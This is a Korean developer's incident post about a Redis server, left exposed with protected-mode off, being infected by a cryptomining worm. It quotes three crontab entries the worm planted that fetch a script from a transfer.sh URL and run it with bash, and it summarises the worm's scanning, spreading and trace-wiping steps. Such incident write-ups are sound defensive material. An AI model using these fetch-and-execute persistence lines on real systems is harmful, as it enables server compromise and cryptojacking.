배경
웹서버와 소켓서버 사이에서 pub/sub으로 중계서버 역할을 하는 redis 서버 셋팅 중 일어난 일이다.
로컬 작업이 번거로워 실서버에 redis 셋팅을 했는데 이렇게 하면 로컬 -> 실서버 redis에 접근을 못한다. 보안 이슈가 많아서 protected-mode 가 기본으로 내장되어 있다고 한다.
Redis parameter PROTECTED-MODE
stack overflow에는 이 proctected-mode를 끄라고 하여 끈 채로 redis를 데몬에 올려 놓고 주말 내내 노출되어 있었다.
사건 발생
그 다음 주에, 푸시가 안되서 보니 crontab 내용이 모두 증발했다. redis 서버도 꺼져 있고,
다시 redis 서버를 키고 몇 분도 지나지 않아 crontab 에 이상한 내용이 write 된 것을 발견했다.
REDIS0007ú redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂ^Er^B[ú^Hused-memÂÐ<86>^K^@þ^@û^C^@^@^GBackup2@R
*/5 * * * * wget -O .cmd https://transfer.sh/OpXVz/tmp.NvSpnTSrQR && bash .cmd
^@^GBackup3@Z
*/10 * * * * lynx -source https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
^@^GBackup1@T
*/2 * * * * curl -s https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
ÿøG-ó<83>l:â
무언가 redis가 관련된 것 같은데 확실한 정보가 없다.
정작 저 파일들을 내려받는 경로로 가보면 아무것도 없다고 한다. 느낌이 이상해서 찾아보니 일종의 worm 에 감염된 것이었다.
Mining worm
https://isc.sans.edu/forums/diary/Anatomy+of+a+Redis+mining+worm/23673/
결론은 코인채굴이 목적이며 그 이상의 악성 행위는 없다고는 한다. 위 문서에 따른 일어날 수도 있었던 증상이다
- 기존 mutex 삭제 후 worm이 사용할 mutex를 추가한다. 같은 스크립트에서 인스턴스를 여러개 돌리는 걸 방지
- trap handler를 조작하여, 스크립트 종료시 모든 스크립트 파일을 제거한다.
- SELinux 비활성화
- crontab 내용 제거, 여기에 worm을 설치하는 코드가 삽입되어 있었기 때문에 흔적을 지우는 목적으로 추정된다.
- 왜 때문인지는 몰라도 무언가와 충돌하여 원래 지워졌어야 할 crontab 내용이 남겨진 것으로 추정된다. 그래서 이상 여부를 바로 의심할 수 있엇다.
- 네임서버 목록에 구글 네임서버(8.8.8.8) 추가
- 파일/프로세스 security limit 갱신
- 외부 접근 비활성화, loopback 활성화
- 경쟁 miner 프로세스, 스크립트 제거
- redis 클라이언트 등 tool 설치
- pnscan 설치 및 빌드, 사실 이건 바이러스 검사 용도인데 여기선 추가 대상 서버를 찾는 용도로 사용
- cryptominer( 채굴 프로그램 ) binary 설치 후 transfer.sh에 다시 업로드
- 채굴 프로그램을 .gpg로 이름 변경후 실행
- 스크립트를 변경하여 버티는 기간을 늘린다.
- 서브넷에 있는 다른 오픈된 redis 서버를 찾아다님 ( 1.0.0.0/16 ~ 224.255.0.0/16 )
- redis 클라이언트를 이용 감지된 다른 redis 서버에 전파
- /tmp 디렉토리 내 파일, 캐시, bash history, log, mail spool 제거, 흔적 제거 용도로 추정
- 위 과정 반복 및 흔적 제거
결론
다행히 큰 사고로 이어지지는 않았고, 복구 작업도 많지 않아 이런 일도 있을 수 있구나 하는 해프닝으로 종료되었다.
잠깐이면 되겠지라는 안일함으로 인하여 일어난 보안 이슈였으며, redis는 간편하고 빠른만큼 brute-force를 활용한 보안을 신경써야 한다는 점을 비교적 적은 수업비를 통해 배웠다.